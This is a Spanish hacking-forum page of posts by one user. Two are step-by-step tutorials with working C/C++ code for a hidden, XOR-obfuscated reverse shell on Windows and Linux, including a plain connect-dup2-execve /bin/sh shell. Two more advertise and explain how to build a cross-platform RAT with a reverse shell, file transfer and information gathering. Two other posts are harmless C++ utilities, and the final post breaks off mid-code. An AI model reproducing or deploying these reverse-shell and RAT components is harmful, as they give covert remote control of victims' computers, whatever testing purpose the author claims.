Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - d3adly

#1
Hola comunidad, hoy traigo la segunda parte del post anterior sobre No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, esta vez aplicado a sistemas Windows.

En teoria el proceso es el mismo, a diferencia que ahora no se realiza un duplicado de la imagen del proceso en memoria. Las funciones mas importantes a usar con:

  • No tienes permitido ver los links. Registrarse o Entrar a mi cuenta          - Igual que pipe en linux, crea una tuberia con un extremo de lectura y otro de escritura.
  • No tienes permitido ver los links. Registrarse o Entrar a mi cuenta - Copia y extrae informacion de una tuberia sin modificar su contenido.
  • No tienes permitido ver los links. Registrarse o Entrar a mi cuenta    - Crea un nuevo proceso, lo genial de esta api es que podemos configurar como se va a ejecutar el programa, en este caso, la manipulacion de stdin y stdout/stderr como nos plazca de una manera muy facil.

Como aclare anteriormente es casi el mismo proceso. Primero procedemos a crear las tuberias usando CreatePipe:
Código: cpp

   HANDLE stdinRd, stdinWr, stdoutRd, stdoutWr;
   stdinRd = stdinWr = stdoutRd = stdoutWr = nullptr;
   
   SECURITY_ATTRIBUTES sa;
   sa.nLength = sizeof(SECURITY_ATTRIBUTES);
   sa.lpSecurityDescriptor =  nullptr;
   sa.bInheritHandle = true;   //Proceso hijo puede heredar tuberias retornadas por CreatePipe
   if(!CreatePipe(&stdinRd, &stdinWr, &sa, 0) || !CreatePipe(&stdoutRd, &stdoutWr, &sa, 0)){
      //No se pudo crear las tuberias                 
   }

En sistemas windows HANDLE es como decir, un descriptor de archivo en linux fd, se usa para crear archivos, leer y escribir hacia ellos. En este caso haremos uso del mismo para crear tuberias.
La estructura No tienes permitido ver los links. Registrarse o Entrar a mi cuenta contiene la informacion que se le pasara a la funcion CreatePipe, esta estructura decide si un proceso hijo puede heredar o no los HANDLES creados por esta funcion, en este caso las tuberias.
Luego esta la funcion CreatePipe la cual recibe los siguientes parametros:
Código: cpp

BOOL CreatePipe(
  PHANDLE               hReadPipe,          //Extremo de lectura  (stdinRd) 
  PHANDLE               hWritePipe,         //Extremo de escritura (stdinWr)
  LPSECURITY_ATTRIBUTES lpPipeAttributes,   //Estructura con los atributos de seguridad (sa)
  DWORD                 nSize               //Tamaño de la estructura (sizeof(SECURITY_ATTRIBUTES))
);
Extraido de la web de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
La funcion retorna verdadero si se creo la tuberia o falso si sucede un error. Si todo sale bien, hemos creado las siguientes tuberias:

Código: text
stdinRd < === > stdinWr
stdoutRd < === > stdoutWr

Todo lo que se escriba a stdinWr, se puede leer en stdinRd, y es el mismo caso para stdoutRd/stdoutWr.

Luego de crear las tuberias se procede a crear el proceso hijo especificandole que redireccione stdout/stderr a un extremo de escritura de una de las tuberias previamente creadas (stdoutWr):

Código: cpp

   PROCESS_INFORMATION pi;
   STARTUPINFO si;
   GetStartupInfo(&si);
   si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
   si.wShowWindow = SW_HIDE;
   si.hStdOutput = stdoutWr;
   si.hStdError = stdoutWr;
   si.hStdInput = stdinRd;
   if(CreateProcess(nullptr, "programa.exe", nullptr, nullptr, true, CREATE_NEW_CONSOLE, nullptr, nullptr, &si, &pi) == 0){
      //No se pudo invocar la shell                       
   }


La estructura No tienes permitido ver los links. Registrarse o Entrar a mi cuenta contiene la informacion de como se creara la ventana del nuevo proceso. La funcion No tienes permitido ver los links. Registrarse o Entrar a mi cuenta obtiene una estructura del tipo STARTUPINFO, la cual contiene la informacion que se uso al crear el proceso actual. Se hace uso de la misma para llenar la estructura si (la cual vamos a usar para crear el proceso hijo) y asi modificar solamente las siguientes lineas:

Código: cpp

   si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
   si.wShowWindow = SW_HIDE;
   si.hStdOutput = stdoutWr;
   si.hStdError = stdoutWr;
   si.hStdInput = stdinRd;

El valor dwFlags contiene la opcion u opciones que se utilizaran en la esctructura:

  • STARTF_USESTDHANDLES    - Redireccionar salida y entrada del programa hacia nuestras tuberias.
  • STARTF_USESHOWWINDOW - Como se va a mostrar la ventana del proceso hijo.
La opcion wShowWindow especifica como se mostrara la ventana del nuevo proceso, en este caso SW_HIDE (Oculta). Luego le siguen las opciones hStdOutput , hStdError y hStdInput las cuales son nuestras tuberias que leeran y escribiran al programa. Entonces las salida y entrada del programa funcionara de la siguiente manera:

  • Todo lo escrito a stdinWr ira a la entrada(stdin) del programa.
  • Todo lo que salga del programa(stdout) lo podemos leer en stdourRd.

Despues se crea el proceso haciendo uso de la funcion CreateProcess:

Código: cpp

CreateProcess(nullptr, "programa.exe", nullptr, nullptr, true, CREATE_NEW_CONSOLE, nullptr, nullptr, &si, &pi)

La cual recibe los siguientes parametros:

Código: cpp

BOOL CreateProcess(
  LPCWSTR pszImageName,
  LPCWSTR pszCmdLine,
  LPSECURITY_ATTRIBUTES psaProcess,
  LPSECURITY_ATTRIBUTES psaThread,
  BOOL fInheritHandles,
  DWORD fdwCreate,
  LPVOID pvEnvironment,
  LPWSTR pszCurDir,
  LPSTARTUPINFOW psiStartInfo,
  LPPROCESS_INFORMATION pProcInfo
);
Extraido de la web de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
En este caso solo nos interesan 5 parametros:

  • pszCmdLine       - Ruta al programa a  ejecutar (programa.exe).
  • fInheritHandles - Especifica si el proceso hijo heredara o no HANDLES creados por el proceso padre (tuberias creadas anteriormente).
  • pvEnvironment  - Especifica el entorno en el cual se creara el nuevo proceso.
  • psiStartInfo       - Informacion con la cual sera creada el proceso (la estructura antes modificada si).
  • pProcInfo           - Puntero a una estructura que recibe la informacion de identificacion del proceso creado.
con las  demas opciones se le pasara como parametro nullptr. Si la funcion se ejecuto correctamente retorna un valor diferente de 0, si retorna este valor significa que hubo un error.

Hasta aqui programa.exe se esta ejecutando oculto, leyendo y escribiendo desde y hacia las tuberias creadas por el proceso padre. Ahora se crean dos hilos para leer y escribir al programa mediante las tuberias, asi logramos control sobre lo que salga y entre al programa para aplicar cualquier tipo de "cifrado", en este ejemplo la vieja confiable XOR:

Código: cpp

//Funcion de cifrado XOR
std::string XOR(const std::string Data, const std::string Password){
   std::string Final = "";
   for(char cD : Data){
      for(char cS : Password){
         cD ^= cS;
      }
      Final.append(1, cD);
   }
   return Final;
}


El hilo el cual escribira al proceso va de la siguiente manera:
Código: cpp

while(EstaCorriendoLaShell){
char buffer[1024];
recv(sckSocket, buffer, 1024, 0);
std::string strCmd = Xor(std::string(buffer));
   DWORD longitud = strCmd.length();
   DWORD bytesEscritos = 0;
if(!WriteFile(stdinWr, strCmd.c_str(), longitud, &bytesEscritos , nullptr)){
//Error escribiendo a la tuberia
EstaCorriendoLaShell = false;
break;
}
}

la funcion No tienes permitido ver los links. Registrarse o Entrar a mi cuenta recibe como primer parametro el HANDLE hacia el cual escribir, en este caso el extremo de escritura de la tuberia (stdinWr), el segundo parametro es la informacion a escribir, la cual es strCmd que previamente se ha "descifrado" con XOR, el tercer parametro es la cantidad de bytes a escribir, el cuarto es un puntero a una variable de tipo DWORD que recibe la cantidad de bytes que se escribieron al HANDLE(stdinWr) y el ultimo le pasamos como parametro nullptr. Si la funcion se ejecuto correctamente el resultado es mayor a 0, si el retorno es este valor, ocurrio un error.

Y por ultimo el hilo que lee del proceso creado va de la siguiente forma:

Código: cpp

while(EstaCorriendoLaShell){
char cBuffer[512];
DWORD bytesLeidos = 0;
if(PeekNamedPipe(stdoutRd, nullptr, 512, &bytesLeidos, nullptr, nullptr)){
if(bytesLeidos > 0){
ReadFile(stdoutRd, cBuffer, 512, &bytesLeidos, nullptr);
} else {
//Todavia no hay nada
Sleep(100);
continue;
}
std::string strCmd = Xor(std::string(cBuffer));
int iLen = strCmd.length();
send(sckSocket, strCmd.c_str(), iLen, 0);
} else {
//PeekNamedPipe error
EstaCorriendoLaShell = false;
break;
}
}

haciendo uso de la funcion previamente explicada PeekNamedPipe que se usa para leer del Pipe/HANDLE especificado(stdoutRd), pero al leer esta funcion no borra nada de la tuberia, es para el simple proposito de darle una "ojeada" (Peek) al HANDLE. Ademas del extremo de la tuberia se le pasa como parametro un puntero al buffer el cual recibira los datos pero en este caso como solo le estamos dando una ojeada se le pasa como parametro nullptr. Tambien recibe como parametro un puntero a una variable que recibira el valor de la cantidad de bytes que se pudieron leer (bytesLeidos). Los demas parametros se quedan en nullptr ya que no se almacenara nada solo es para ver si ya hay datos disponibles para leer.
Si la variable bytesleidos es mayor a cero significa que hay datos y podemos proceder a leer de la tuberia haciendo uso de la funcion ReadFile:

Código: cpp

ReadFile(stdoutRd, cBuffer, 512, &bytesLeidos, nullptr);

esta funcion recibe la misma cantida de parametros que WriteFile, el (HANDLE/Pipe) del cual leer, donde almacenar los datos (cBuffer), cantidad de bytes a leer (512) y un puntero a una variable que recibe la cantidad de bytes leidos. El ultimo parametro al igual que la funcion WriteFile lo dejamos en nullptr. Una vez leidos los datos se "cifran" haciendo uso de XOR y posteriormente los envia al servidor(atacante).

Pues esa es una descripcion (no muy a fondo) del desarollo e implementacion de una shell inversa "cifrada" en sistemas Windows. El proyecto esta alojado en github como: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Y como siempre no puede faltar el mini tutorial:

Clonar:

Código: dos
git clone https://github.com/d3adlym1nd/Ciphered-Reverse-Shell.git

O descargar desde aqui : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Luego editar el fichero Windows/Client.cpp y modificar la siguiente linea de la clase:
Código: cpp
std::string strPassword = "$up3rP@sSw0rD";

con cualquier contraseña que se desee. Luego modificar la funcion main:

Código: cpp
if(Cli->Connect("127.0.0.1", "1337")){

con la informacion que utilizara el cliente para conectarse.

Abrir el archivo Windows/Server.cpp y modificar la funcion main:

Código: cpp

Server *Srv = new Server(1337, "$up3rP@sSw0rD");

con el puerto y la contraseña a usar en la comunicacion.

Compilar en el directorio Windows/ con mingw32-make client && mingw32-make server. Luego solo toca correr el servidor y el cliente en otra pc.

Una captura:
         

Espero que les sirva de algo, cualquier duda/aporte/comentario es muy bien recibido. Les deseo un feliz resto del dia ;D

Saludos.


Edit:
Cometi un error en la llamada a la funcion PeekNamedPipe, antes de la variable que recibe la cantidad de bytes leidos, se le debe pasar cuantos bytes se deben leer ya que de lo contrario retornara 0. Si les dio el error de compilacion intercambiar el nullptr antes de la variables que recibe los datos con 512. Asi:

Código: cpp

PeekNamedPipe(stdoutRd, nullptr, 512, &bytesLeidos, nullptr, nullptr)

O si ya lo clonaron, actualizan con:

Código: dos
git pull


Sinceras disculpas por el error.
#2
Hacking Tools / unnamedRat en Android con Termux
Junio 29, 2020, 08:56:46 PM
Hola comunidad, hoy les traigo un pequeño tutorial de hacer uso de la herramienta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta en android gracias a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
Se procede a instalar termux, luego se instalan los siguientes paquetes:
Código: bash

pkg install openssl openssl-tool make git nano


Clonar el repo:
Código: bash

git clone https://github.com/d3adlym1nd/unnamed_rat.git


Luego nos dirigimos al directorio del servidor linux en ./unnamed_rat/Server/Linux/, y se edita el fichero headers.hpp con nano, modificando lo siguiente:
Código: cpp

//Si se quiere salida de texto con color
#define _COLOR

//Idioma del programa, comentar/descomentar como se requiera
#define ES
//#define EN

//Descomentar lo siguiente
#define _TERMUX

//Maximo de clientes a manejar
#define Max_Clients 10

El proposito de #define _TERMUX es para compilar el programa con la salida de texto y barra de progreso un poco mas reducidad.  Luego se compila con:
Código: bash
make


Una vez compilado se procede a generar el certificado y llave privada en el mismo directorio donde se encuentra el ejecutable del servidor:
Código: bash

openssl req -x509 -newkey rsa:4096 -out cacer.pem -outform PEM -days 1825 -nodes


Si hasta aqui el telefono no se prendio fuego, vamos bien.

Luego solo toca ejecutar el servidor en el telefono y el cliente en una pc:
Código: php
./server 31337


Aqui unas capturas
     

       

     

Ahora disponemos de la herramienta en cualquier momento y lugar. Espero les guste, tambien pueden revisar el proyecto No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, ahora con documentacion en español e ingles ;D.

Saludos.
#3
Hola comunidad comparto con ustedes un proyecto en el cual he estado trabajando. Como dice el titulo es un RAT multiplataforma para Windows y Linux. Tanto el cliente como el servidor estan escritos en C++, por el momento solo ha sido probado en sistemas con arquitectura x64:

  • Debian
  • Arch
  • Windows 7
  • Windows 10
Las funciones hasta el momento son:

  • Transferencia de archivos
  • Recopilacion de informacion
  • Descarga de archivos de servidores http(s)
  • Comunicacion cifrada (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)
  • Shell inversa interactiva

Clonar
Código: bash

git clone https://github.com/d3adlym1nd/unnamed_rat.git



Instalar dependencias y compilar en Linux:
   
Código: bash

   #Debian
   sudo apt-get install openssl openssl-dev
   #Arch
   sudo pacman -S openssl

   #Opcional si las notificaciones de escritorio se habilitaran en el servidor
   #Debian
   sudo apt-get install libnotify-dev
   #Arch
   sudo pacman -S libnotify


   Nos dirigimos al directorio del servidor para generar el certificado, llave privada y compilar asi:
   
Código: bash

   #OS puede ser Windows/Linux
   cd Server/OS/
   openssl req -x509 -newkey rsa:4096 -out cacer.pem -outform PEM -days 1825 -nodes
   make


   Luego se modifica lo siguiente en el archivo headers.hpp del codigo del cliente:
   
Código: cpp

   //para habilitar/deshabilitar salida por pantalla comentar/descomentar lo siguiente
   #define _DEBUG


   Si la opcion opcion #define _DEBUG se deja comentada para compilar la version sin salida por pantalla, entonces se debe modificar el archivo main.cpp en la siguiente linea con el host y puerto al cual conectarse
   
Código: cpp

   Cli->Connect("YOUR HOST", "PORT")

   Luego compilar con : make

Compilar en Windows:
   Primeros instalamos OpenSSL usando uno de los binarios ya compilados desde No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Y generamos el certificado y llave privada como en linux.
   El compilador utilizado es mingw. Primero descargamos No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, una vez instalado actualizamos la lista de paquetes con:
   
Código: bash
pacman -Syu


   Luego procedemos a instalar los siguientes paquetes:
   
Código: bash
pacman -S mingw-w64-x86_64-toolchain


   Y ahora realizaremos las mismas modificaciones a los ficheros que en linux, acto seguido compilamos con el comando mingw32-make.


Luego solo toca ejecutar el servidor especificando el puerto por el cual escuchar, ej:
Código: bash
./server 8888


Si el cliente se compilo con la opcion #define _DEBUG descomentada entonces el host y el puerto deben ser pasados como argumentos al programa ej:
Código: bash
./Client 127.0.0.1 8888



Aqui unas capturas
Servidor Linux
     

     

Obteniendo informacion del cliente
     


Servidor Windows
     

El cliente se autoreconecta al servidor si este se cierra. No posee ningun metodo de instalacion, infeccion o evasion de antivirus ya que esta hecho para realizar pruebas y ejecutarse en entornos controlados (Posiblemente desarolle una version con las opciones antes mencionadas).
Por ahora es muy basico, y sigo trabajando en las dependencias del cliente (Windows) y muchas otras funcionalidades que quiero agregarle. Cualquier aporte, sugerencia o comentario es bien recibido.

Esta de mas decir que no esta hecho con propositos delictivos o maliciosos, es solo para realizar pruebas en ambientes controlados,  tambien puede tomarse como base para realizar proyectos de multiconexion como salas de chat y derivados.
Espero les sirva de algo y les deseo un feliz dia/tarde/noche  ;D

Edit:
Lista de cambios v0.2.0 (28/06/2020):
- Probado en Android 9 (Termux)
- Se puede compilar en distintos idiomas
- Agregado idioma español
Descarga la version 0.2.0 -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#4
C / C++ / Imprimir tabla ordenada C++ [Codigo]
Junio 24, 2020, 12:29:46 AM
Hola comunidad les comparto un breve codigo que desarolle con el proposito de imprimir por pantalla tablas ordenadamente. Basicamente recorre los vectores que se le pasan como parametro, localiza el que contiene mas columnas y ajusta el resto para poder imprimir un cuadro. Luego columna por columna recorre hacia abajo cada palabra y detecta la de mayor longitud, logrando asi ajustar las demas al ancho antes obtenido.
Ejemplos:
Código: text
Aqui algunas filas no contienen datos suficientes asi que se modifican para ajustarse
 *========================================================*
 | col1   | colum id 2 | col3   | column4 | col5   | col6 | 
 *========================================================*
 | row1-1 | row1-2     | col1-3 | col1-4  | --     | --   |    <----   Ajustada
 *========================================================*
 | row2-1 | row2-2     | row2-3 | row2-4  | --     | --   |    <----   Ajustada
 *========================================================*
 | row3-1 | row3-2     | row3-3 | row3-4  | row3-5 | aa   |  
 *========================================================*
 | row4-1 | row4-2     | row4-3 | row4-4  | --     | --   |    <----   Ajustada
 *========================================================*
 | row5-1 | row5-2     | row5-3 | row5-4  | --     | --   |    <----   Ajustada
 *========================================================*


Aqui la cantidad de cabeceras no es suficiente, entonces se adapta
 *=================================================*
 | col1   | colum id 2 | col3   | column4 | --     | 
 *=================================================*
 | row1-1 | row1-2     | col1-3 | col1-4  | --     | 
 *=================================================*
 | row2-1 | row2-2     | row2-3 | row2-4  | --     | 
 *=================================================*
 | row3-1 | row3-2     | row3-3 | row3-4  | row3-5 |    <----   Las demas se adaptan a esta
 *=================================================*
 | row4-1 | row4-2     | row4-3 | row4-4  | --     | 
 *=================================================*
 | row5-1 | --         | --     | --      | --     | 
 *=================================================*


 *=========================================*
 | 1 | colum id 2 | c3   | c4     | --     | 
 *=========================================*
 | 1 | row1-2     | c3   | col1-4 | --     | 
 *=========================================*
 | 1 | row2-3     | c4   | --     | --     | 
 *=========================================*
 | 1 | row3-2     | c333 | row3-4 | row3-5 | 
 *=========================================*
 | 1 | row4-2     | 43   | row4-4 | --     | 
 *=========================================*
 | 5 | --         | --   | --     | --     | 
 *=========================================*

Aqui el codigo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, cualquier comentario o aporte es bien recibido, espero les sea de utilidad en alguno de sus proyectos.

Saludos.
#5
C / C++ / Descargar archivos usando C++
Junio 05, 2020, 01:21:04 AM
Hola comunidad, hoy les comparto mi clase con el cual podran descargar archivos desde C++.

Primero un poco de teoria:

El proceso que realiza un programa normal como un navegador web (firefox, chrome, etc...) para descargar un archivo es el siguiente:

  • Envia un paquete con la ruta del archivo deseado en cuestion
  • Recibe la respuesta del servidor el cual contiene la informacion del archivo, como el tamaño y tipo de archivo entre otra informacion
  • Continua leyendo del socket hasta que no se encuentren mas bytes para leer o logre el tamaño del archivo

El paquete enviando por el navegador puede ser parecido a este:
Código: text

GET /descargas/archivos/archivo.zip HTTP/1.1
Host: www.website.com
User-Agent: Juanker v2

La primera linea contiene el comando GET(No tienes permitido ver los links. Registrarse o Entrar a mi cuenta), usado para obtener datos del recurso especificado, en este caso:
          /descargas/archivos/archivo.zip
Seguido de HTTP/1.1 que es la version de HTTP a usar en la comunicacion. Luego cada dato enviado al servidor va en este formato:
Campo : Valor
El campo Host lleva el nombre de dominio al cual se desea enviar la peticion. Este campo es muy util en servidores que almacenan multiples dominios, logrando asi identificar a cual dominio virtual(No tienes permitido ver los links. Registrarse o Entrar a mi cuenta) pertenece la peticion enviada por el navegador.
Y el campo User-Agent, aloja el nombre del navegador y otra informacion del mismo, ejemplo:
Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0

Despues de enviar el paquete recibiria una respuesta parecida a esta:
Código: text

HTTP/1.1 200 OK
Date: Sat, 09 Dec 2025 03:10:00 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 80160806
Content-Type: application/zip


Siendo la primer linea:
Código: text
HTTP/1.1 200 OK

El codigo de respuesta de la ultima peticion, en este caso 200, significa que la peticion fue aceptada, he aqui una lista de los codigos que puede retornar un servidor http No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Los siguientes campos muestran informacion del sevidor como:
Fecha
Código: text
Date: Sat, 09 Dec 2025 03:10:00 GMT

Version de servidor
Código: text
Server: Apache/2.4.29 (Ubuntu)


Tambien informacion del recurso solicitado /descargas/archivos/archivo.zip
Tamaño en bytes
Código: text
Content-Length: 80160806

Tipo de recurso
Código: text
Content-Type: application/zip


A esta respuesta del servidor se le conoce como Cabecera o Headers, seguido de esta informacion sigue el contenido del archivo solicitado en cuestion. Un ejemplo sencillo seria solicitar un archivo de texto plano /descargas/archivos/archivo.txt, se recibe una respuesta como esta:
Código: text
HTTP/1.1 200 OK
Date: Sat, 09 Dec 2025 03:10:00 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 86
Content-type: text/plain

Este es un archivo de texto
que contiene varias lineas
informacion y mas information

Nota que esta vez el campo Content-type cambio a text/plain ya que este es el tipo de archivo que se ha solicitado. Extensiones MIME No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Para armar el paquete usando codigo se podria realizar asi:
Código: cpp

char Packet[] = "GET /descargas/archivos/archivo.zip HTTP/1.1\r\n"\
                "Host: www.website.com\r\n"\
                "User-Agent: Juanker v2\r\n\r\n";


El \r\n al final de cada linea(a excepcion de la ultima que contiene \r\n\r\n) es requerido en cada paquete HTTP que se envia o recibe usando este protocolo.
\r (Carriage Return), es un control de caracter usado para resetear la posicion del dispositivo al inicio de la linea de texto, \n (New Line), es un caracter usado para indicar el final de la linea actual e iniciar una nueva. El contenido del archivo que hemos solicitado al sevidor viene seguido de los ultimos 4 caracteres (\r \n \r \n).

Resumiendo, el navegador envia la peticion y recibe la respuesta con los datos del archivo solicitado y empieza a escribir al archivo todo lo que reciba despues de (\r \n \r \n).

El proyecto No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Como usarlo?
Código: cpp

//Se crea el objeto
Downloader down;
//Llamada a la funcion Download con la url como parametro
if(down.Download("http://www.website.com/ruta/al/fichero.rar"){
std::cout<<"Descarga satisfactoria\n";
}

La clase Downloader realiza toda la "magia", se crea un nuevo objeto y se llama la funcion Download que recibe como parametro la url del archivo a descargar, el puerto puede ir junto con la url No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, tambien sigue redirecciones y hace uso de openssl para realizar descargas de servidores que utilizen SSL, sigo mejorandola y cualquier comentario es bien apreciado.
Tambien trae una barra de carga  ;D.
#6
Hacking / Shell Inversa "Cifrada"
Junio 03, 2020, 12:18:09 AM
Hola comunidad les comparto un proyecto en el cual he estado trabajando, si no es la sección correcta del foro pido disculpas.
Inicialmente el proyecto esta dirijido a sistemas Linux, aunque pienso hacer una segunda parte para Windows.

Primero lo basico, una shell inversa normal en linux se realiza normalmente despues creada la conexión con el servidor lo siguiente:
fork       No tienes permitido ver los links. Registrarse o Entrar a mi cuenta - mas adelante se vera aplicado
dup2     No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
execve No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

fork: Realiza una copia excata del proceso que lo llamo, a diferencia que la copia posee su propio identificador de proceso (Process ID).
dup2: Los parametros de esta funcion son 2 dup2(int oldfd, int newfd), esta función hace que el descriptor de archivo newfd sea una copia de oldf.
execve: Recibe tres parametros execve(const char *filename, char *const argv[],char *const envp[]), siendo el primero el archivo a ejecutar, char *const argv[] los argumentos que se le pasan al ejecutable en cuestion, y char *const envp[] las variables de entorno, esta función remplaza los segmentos de datos:
Text,Data, Bss y el Stack del proceso el cual llama la funcion. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Habiendo cubierto lo basico de estas funciones aqui un ejemplo de una shell inversa normal:
Código: c

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define REMOTE_ADDR "127.0.0.1"
#define REMOTE_PORT 1337

int main(int argc, char *argv[])
{
    struct sockaddr_in server;
    int socket;

    server.sin_family = AF_INET;
    server.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    server.sin_port = htons(REMOTE_PORT);

    socket = socket(AF_INET, SOCK_STREAM, 0);
    connect(socket, (struct sockaddr *)&server, sizeof(server));
    dup2(socket, 0);
    dup2(socket, 1);
    dup2(socket, 2);

    execve("/bin/sh", 0, 0);
    return 0;
}


Justo en la linea 21 despues de haberse conectado con el servidor, miramos tres llamadas a la funcion dup2 antes descrita. Realiza una copia del socket a tres descriptores de archivo distintos: 0 1 y 2 que son:
0: stdin    - Standard Input:      Es el descriptor de archivo por el cual el proceso lee la información ingresada por el usuario.
1: stdout - Standard Output:  Descriptor usado por el proceso para mostrar información al usuario.
2: stderr  - Standard Error:      Usado por el proceso para escribir información sobre errores.
Luego de esas tres llamadas, cada operación realizada en alguno de estos tres descriptores de archivo sera atravez del socket, lo que reciba el socket sera escrito directamente a stdin, y todo lo que salga de stdout y stderr sera escrito al socket.

Despues se llama a la funcion execve, la cual remplaza la imagen del programa en memoria y ejecuta el binario /bin/sh, ahora cada dato que reciba el socket se escribira en el descriptor de archivo stdin, que a su vez recibira el nuevo programa ejecutado, y toda modificación a los descriptores de archivos stdout/stderr seran escritas al socket gracias a las llamadas de la funcion dup2. Solo tocaria escuchar en el puerto especificado y se recibe una shell inversa:
Código: php
$ nclokita -lp PUERTO
.

Hasta aqui todo bien, aunque toda la informacion que se intercambia viaja en texto plano, y si queremos aplicar un tipo de "cifrado" la cuestion en si es manipular los datos antes de ser enviados y recibidos, y aqui entran en juegos los pipes (tuberias).
Los pipes vienen bien a la hora de comunicacion entre procesos. Un ejemplo sencillo seria:
Código: php
$ cat file.txt | wc -l 

El resultado del comando anterior mostraria la cantidad de lineas que contiene el archivo file.txt, nota el | en medio de de file.txt y wc, esto indica al comando cat que todo lo que vaya a escribir a stdout lo redirija a el stdin de wc.

Ahora el funcionamiento de la shell inversa "cifrada" una vez conectada al servidor y ejecutado el programa debe ser el siguiente:

  • Leer datos del socket
  • Descifrar los datos
  • Escribir la informacion al stdin del programa
  • Leer del stdout/stderr la salida del comando antes ejecutado
  • Cifrar los datos leidos
  • Escribir los datos cifrados al socket
Ahora para lograr manipular los datos antes de escribir o leer al programa se hace el uso de pipes antes lijeramente explicados, haciendo uso de la funcion pipe No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Un pipe tiene dos partes

  • Punto de lectura READ-END
  • Punto de escritura WRITE-END
                             

Y observando el ejemplo que nos provee No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, podemos observar el uso de fork junto con pipe para crear una copia del programa y realizar una comunicacion entre los dos, escribiendo en un extremo del pipe y leyendo del otro extremo. Aplicando este metodo podemos manipular los datos antes de ser enviados o recibidos atravez del socket.

Asumiendo que la conexión con el servidor ya esta realizada, pasemos a ver como implementar nuestra función para leer y escribir del programa ejecutado.
Primero creamos dos pipes uno que servira de escritura y el otro de lectura,
nota: los siguientes codigos no tienen comprobación de errores, y estan escritos asi para una demostracion
Código: cpp

int InPipe[2];
int OutPipe[2];
pipe(InPipe);
pipe(OutPipe)
//Si hay error las funciones retornan -1

Una vez creadas las tuberias se procede a realizar un fork, para asi realizar una copia del programa en memoria el cual procederemos a remplazar con un ejecutable, en este caso /bin/sh
Código: cpp

pid_t pid = fork();
if(pid == 0){
   //Este es el hijo (child) del proceso que se esta ejecutando
   //el cual a su vez es una copia exacta del proceso excepto el Process ID
} else if(pid > 0) {
   //Esta es la seccion que se sigue ejecutando despues de la llamada a fork (proceso padre)
} else {
   //Si fork no es >= 0 entonces la llamada fallo
}


Ahora en la seccion del proceso hijo realizaremos lo siguiente:
Código: cpp

//Copiamos a stdin el extremo READ-END de InPipe
dup2(InPipe[0], 0);

//Copiamos a stdout el extremo WRITE-END de OutPipe
dup2(OutPipe[1], 1);

//Igual que el anterior copiamos a stderr el extremo WRITE-END de OutPipe
dup2(OutPipe[1], 2);

Con esto logramos que cualquier lectura/escritura realizada a los descriptores de fichero stdin/stdout/stderr, sean atravez de los pipes respectivamente:

  • Escribiendo a InPipe[1] lo leera el otro extremo InPipe[0] que ahora esta en stdin
  • Leemos de stdout/stderr atravez de OutPipe[0]
Continuando la seccion del proceso hijo:
Código: cpp

//Se llama la funcion execve con los parametros deseados
//Si quisieramos pasar argumentos al programa se hacen en el array arg
//Ejemplo  char *arg[] = {"arg1", "arg2", "arg2" ...}
char *arg[] = {nullptr};
char *env[] = {nullptr};
//Ejecuta el programa especificado y remplaza la imagen en memoria de la copia que hemos creado previamente con fork()
execve("/bin/sh", arg, env);
exit(0);


Ahora en la seccion del proceso padre crearemos un thread (hilo) para leer el stdout del programa antes ejecutado, cabe mencionar que esta parte se puede implementar junto a otro fork y uniendo dos pipes, pero en este ejemplo lo realizaremos usando threads
Código: cpp

//Se crea un thread de la funcion LeerStdout con el parametro OutPipe[0]
//el cual es el extremo que lee del proceso antes ejecutado
std::thread th1(LeerStdout, OutPipe[0]);
int iBytes = 0;
char CmdBuffer[1025]; //para mega comandos larguisimos juaker
while(1){
   //recibimos los datos del servidor
   iBytes = recv(Socket, CmdBuffer, 1024, 0);
   if(iBytes > 0){
      CmdBuffer[iBytes] = '\0';
      //escribimos al extremo WRITE-END de InPipe
      write(InPipe[1], CmdBuffer, strlen(CmdBuffer));
   }
}
th1.join();

Luego la funcion LeerStdout:
Código: cpp

void LeerStdout(int Pipe){
   chad CmdBuffer[256];
   int iRet = 0, iRet2 = 0;
   while(1){
      //Primero leemos del extremo  OutPipe[0] pasado a esta funcion
      iRet = read(Pipe, &CmdBuffer, 255);
      //Enviamos los datos leidos de stdout/stderr al servidor
      iRet2 = send(Socket, CmdBufer, iRet);
   }
}

Con esto se concluye el codigo basico sin "cifrar" del cliente esto vendria a ser similar al primer ejemplo de arriba. Pero ahora podemos manipular los datos a nuestro antojo aplicando asi un metodo de encriptación a la información para que esta no viaje en texto plano. En el ejemplo usare XOR, pero con esta base se puede implementar el algoritmo deseado. El codigo de ejemplo se modificaria asi:
Código: cpp

//Funcion de cifrado XOR
std::string XOR(const std::string Data, const std::string Password){
   std::string Final = "";
   for(char cD : Data){
      for(char cS : Password){
         cD ^= cS;
      }
      Final.append(1, cD);
   }
   return Final;
}

El codigo del proceso padre:
Código: cpp

